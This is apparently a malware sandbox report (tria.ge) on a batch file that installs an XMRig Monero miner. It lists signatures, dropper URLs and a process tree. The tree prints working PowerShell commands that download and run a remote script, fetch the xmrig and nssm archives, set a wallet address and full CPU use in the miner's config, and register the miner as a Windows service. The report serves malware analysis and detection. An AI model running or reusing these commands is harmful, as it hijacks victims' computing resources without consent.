Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    236s
  • max time network
    197s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/06/2024, 22:17

General

  • Target

    165512287511542.bat

  • Size

    517B

  • MD5

    ac9d73455d58bfa42f81e718b8c8d6b5

  • SHA1

    60040fff333b7bc09b22e5c013f11b8a99555ed3

  • SHA256

    4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12

  • SHA512

    ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://rentry.co/regele/raw

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip

Signatures

  • XMRig Miner payload 18 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 3 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 9 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Using powershell.exe command.

  • Delays execution with timeout.exe 64 IoCs
  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\165512287511542.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3036
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp62F0.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:196
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3324
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:2424
          • C:\Windows\system32\where.exe
            where powershell
            4⤵
              PID:516
            • C:\Windows\system32\where.exe
              where find
              4⤵
                PID:3752
              • C:\Windows\system32\where.exe
                where findstr
                4⤵
                  PID:3640
                • C:\Windows\system32\where.exe
                  where tasklist
                  4⤵
                    PID:4556
                  • C:\Windows\system32\where.exe
                    where sc
                    4⤵
                      PID:2836
                    • C:\Windows\system32\sc.exe
                      sc stop moneroocean_miner
                      4⤵
                      • Launches sc.exe
                      PID:1324
                    • C:\Windows\system32\sc.exe
                      sc delete moneroocean_miner
                      4⤵
                      • Launches sc.exe
                      PID:2536
                    • C:\Windows\system32\taskkill.exe
                      taskkill /f /t /im xmrig.exe
                      4⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4908
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"
                      4⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1700
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2180
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:924
                    • C:\Users\Admin\moneroocean\xmrig.exe
                      "C:\Users\Admin\moneroocean\xmrig.exe" --help
                      4⤵
                      • Executes dropped EXE
                      PID:4848
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4860
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
                        5⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:1304
                        • C:\Windows\system32\HOSTNAME.EXE
                          "C:\Windows\system32\HOSTNAME.EXE"
                          6⤵
                            PID:316
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:216
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1788
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Fcxhtlhl\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2940
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1444
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2440
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4880
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"
                        4⤵
                        • Blocklisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3624
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3324
                      • C:\Windows\system32\sc.exe
                        sc stop moneroocean_miner
                        4⤵
                        • Launches sc.exe
                        PID:4028
                      • C:\Windows\system32\sc.exe
                        sc delete moneroocean_miner
                        4⤵
                        • Launches sc.exe
                        PID:1676
                      • C:\Users\Admin\moneroocean\nssm.exe
                        "C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"
                        4⤵
                        • Executes dropped EXE
                        PID:4676
                      • C:\Users\Admin\moneroocean\nssm.exe
                        "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"
                        4⤵
                        • Executes dropped EXE
                        PID:4644
                      • C:\Users\Admin\moneroocean\nssm.exe
                        "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS
                        4⤵
                        • Executes dropped EXE
                        PID:3876
                      • C:\Users\Admin\moneroocean\nssm.exe
                        "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"
                        4⤵
                        • Executes dropped EXE
                        PID:3668
                      • C:\Users\Admin\moneroocean\nssm.exe
                        "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"
                        4⤵
                        • Executes dropped EXE
                        PID:3724
                      • C:\Users\Admin\moneroocean\nssm.exe
                        "C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner
                        4⤵
                        • Executes dropped EXE
                        PID:4536
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                    2⤵
                      PID:3432
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic cpu get loadpercentage
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2408
                    • C:\Windows\system32\timeout.exe
                      timeout /t 1
                      2⤵
                      • Delays execution with timeout.exe
                      PID:4044
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                      2⤵
                        PID:4896
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic cpu get loadpercentage
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3212
                      • C:\Windows\system32\timeout.exe
                        timeout /t 1
                        2⤵
                        • Delays execution with timeout.exe
                        PID:3516
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                        2⤵
                          PID:1508
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic cpu get loadpercentage
                            3⤵
                              PID:2128
                          • C:\Windows\system32\timeout.exe
                            timeout /t 1
                            2⤵
                            • Delays execution with timeout.exe
                            PID:1812
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                            2⤵
                              PID:1816
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic cpu get loadpercentage
                                3⤵
                                  PID:2780
                              • C:\Windows\system32\timeout.exe
                                timeout /t 1
                                2⤵
                                • Delays execution with timeout.exe
                                PID:1156
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                2⤵
                                  PID:5056
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic cpu get loadpercentage
                                    3⤵
                                      PID:3672
                                  • C:\Windows\system32\timeout.exe
                                    timeout /t 1
                                    2⤵
                                      PID:2296
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                      2⤵
                                        PID:820
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic cpu get loadpercentage
                                          3⤵
                                            PID:4056
                                        • C:\Windows\system32\timeout.exe
                                          timeout /t 1
                                          2⤵
                                          • Delays execution with timeout.exe
                                          PID:4432
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                          2⤵
                                            PID:2216
                                            • C:\Windows\System32\Wbem\WMIC.exe
                                              wmic cpu get loadpercentage
                                              3⤵
                                                PID:4220
                                            • C:\Windows\system32\timeout.exe
                                              timeout /t 1
                                              2⤵
                                              • Delays execution with timeout.exe
                                              PID:4848
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                              2⤵
                                                PID:4216
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic cpu get loadpercentage
                                                  3⤵
                                                    PID:4704
                                                • C:\Windows\system32\timeout.exe
                                                  timeout /t 1
                                                  2⤵
                                                  • Delays execution with timeout.exe
                                                  PID:3584
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                  2⤵
                                                    PID:4880
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic cpu get loadpercentage
                                                      3⤵
                                                        PID:4160
                                                    • C:\Windows\system32\timeout.exe
                                                      timeout /t 1
                                                      2⤵
                                                      • Delays execution with timeout.exe
                                                      PID:5028
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                      2⤵
                                                        PID:3636
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic cpu get loadpercentage
                                                          3⤵
                                                            PID:4328
                                                        • C:\Windows\system32\timeout.exe
                                                          timeout /t 1
                                                          2⤵
                                                            PID:32
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                            2⤵
                                                              PID:1408
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic cpu get loadpercentage
                                                                3⤵
                                                                  PID:4688
                                                              • C:\Windows\system32\timeout.exe
                                                                timeout /t 1
                                                                2⤵
                                                                  PID:5084
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                  2⤵
                                                                    PID:2148
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic cpu get loadpercentage
                                                                      3⤵
                                                                        PID:5088
                                                                    • C:\Windows\system32\timeout.exe
                                                                      timeout /t 1
                                                                      2⤵
                                                                      • Delays execution with timeout.exe
                                                                      PID:3344
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                      2⤵
                                                                        PID:4168
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic cpu get loadpercentage
                                                                          3⤵
                                                                            PID:4812
                                                                        • C:\Windows\system32\timeout.exe
                                                                          timeout /t 1
                                                                          2⤵
                                                                            PID:3308
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                            2⤵
                                                                              PID:1324
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic cpu get loadpercentage
                                                                                3⤵
                                                                                  PID:2836
                                                                              • C:\Windows\system32\timeout.exe
                                                                                timeout /t 1
                                                                                2⤵
                                                                                • Delays execution with timeout.exe
                                                                                PID:2056
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                2⤵
                                                                                  PID:2520
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic cpu get loadpercentage
                                                                                    3⤵
                                                                                      PID:3608
                                                                                  • C:\Windows\system32\timeout.exe
                                                                                    timeout /t 1
                                                                                    2⤵
                                                                                    • Delays execution with timeout.exe
                                                                                    PID:4600
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                    2⤵
                                                                                      PID:732
                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                        wmic cpu get loadpercentage
                                                                                        3⤵
                                                                                          PID:3876
                                                                                      • C:\Windows\system32\timeout.exe
                                                                                        timeout /t 1
                                                                                        2⤵
                                                                                        • Delays execution with timeout.exe
                                                                                        PID:3800
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                        2⤵
                                                                                          PID:1788
                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                            wmic cpu get loadpercentage
                                                                                            3⤵
                                                                                              PID:1436
                                                                                          • C:\Windows\system32\timeout.exe
                                                                                            timeout /t 1
                                                                                            2⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:4116
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                            2⤵
                                                                                              PID:644
                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                wmic cpu get loadpercentage
                                                                                                3⤵
                                                                                                  PID:4536
                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                timeout /t 1
                                                                                                2⤵
                                                                                                  PID:3484
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                  2⤵
                                                                                                    PID:4124
                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                      wmic cpu get loadpercentage
                                                                                                      3⤵
                                                                                                        PID:2704
                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                      timeout /t 1
                                                                                                      2⤵
                                                                                                      • Delays execution with timeout.exe
                                                                                                      PID:3384
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                      2⤵
                                                                                                        PID:5068
                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                          wmic cpu get loadpercentage
                                                                                                          3⤵
                                                                                                            PID:3036
                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                          timeout /t 1
                                                                                                          2⤵
                                                                                                          • Delays execution with timeout.exe
                                                                                                          PID:1700
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                          2⤵
                                                                                                            PID:488
                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                              wmic cpu get loadpercentage
                                                                                                              3⤵
                                                                                                                PID:4044
                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                              timeout /t 1
                                                                                                              2⤵
                                                                                                              • Delays execution with timeout.exe
                                                                                                              PID:3212
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                              2⤵
                                                                                                                PID:424
                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                  wmic cpu get loadpercentage
                                                                                                                  3⤵
                                                                                                                    PID:3516
                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                  timeout /t 1
                                                                                                                  2⤵
                                                                                                                  • Delays execution with timeout.exe
                                                                                                                  PID:3280
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                  2⤵
                                                                                                                    PID:3772
                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                      wmic cpu get loadpercentage
                                                                                                                      3⤵
                                                                                                                        PID:2676
                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                      timeout /t 1
                                                                                                                      2⤵
                                                                                                                      • Delays execution with timeout.exe
                                                                                                                      PID:1456
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                      2⤵
                                                                                                                        PID:1460
                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                          wmic cpu get loadpercentage
                                                                                                                          3⤵
                                                                                                                            PID:2616
                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                          timeout /t 1
                                                                                                                          2⤵
                                                                                                                          • Delays execution with timeout.exe
                                                                                                                          PID:4012
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                          2⤵
                                                                                                                            PID:1440
                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                              wmic cpu get loadpercentage
                                                                                                                              3⤵
                                                                                                                                PID:2496
                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                              timeout /t 1
                                                                                                                              2⤵
                                                                                                                              • Delays execution with timeout.exe
                                                                                                                              PID:4056
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                              2⤵
                                                                                                                                PID:1608
                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                  3⤵
                                                                                                                                    PID:4948
                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                  timeout /t 1
                                                                                                                                  2⤵
                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                  PID:4220
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                  2⤵
                                                                                                                                    PID:2896
                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                      3⤵
                                                                                                                                        PID:4848
                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                      timeout /t 1
                                                                                                                                      2⤵
                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                      PID:4376
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                      2⤵
                                                                                                                                        PID:3592
                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                          3⤵
                                                                                                                                            PID:956
                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                          timeout /t 1
                                                                                                                                          2⤵
                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                          PID:4996
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                          2⤵
                                                                                                                                            PID:4100
                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                              3⤵
                                                                                                                                                PID:4408
                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                              timeout /t 1
                                                                                                                                              2⤵
                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                              PID:316
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                              2⤵
                                                                                                                                                PID:3624
                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                  wmic cpu get loadpercentage
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4204
                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                  timeout /t 1
                                                                                                                                                  2⤵
                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                  PID:3440
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2148
                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                      wmic cpu get loadpercentage
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3736
                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                      timeout /t 1
                                                                                                                                                      2⤵
                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                      PID:5000
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                      2⤵
                                                                                                                                                        PID:4168
                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                          wmic cpu get loadpercentage
                                                                                                                                                          3⤵
                                                                                                                                                            PID:2552
                                                                                                                                                        • C:\Windows\system32\timeout.exe
                                                                                                                                                          timeout /t 1
                                                                                                                                                          2⤵
                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                          PID:4912
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                          2⤵
                                                                                                                                                            PID:2192
                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                              wmic cpu get loadpercentage
                                                                                                                                                              3⤵
                                                                                                                                                                PID:4960
                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                              timeout /t 1
                                                                                                                                                              2⤵
                                                                                                                                                                PID:4424
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1676
                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4028
                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                    timeout /t 1
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                    PID:4600
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1224
                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5020
                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                        timeout /t 1
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                        PID:3800
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:760
                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1524
                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                            timeout /t 1
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                            PID:4116
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:4824
                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                3⤵
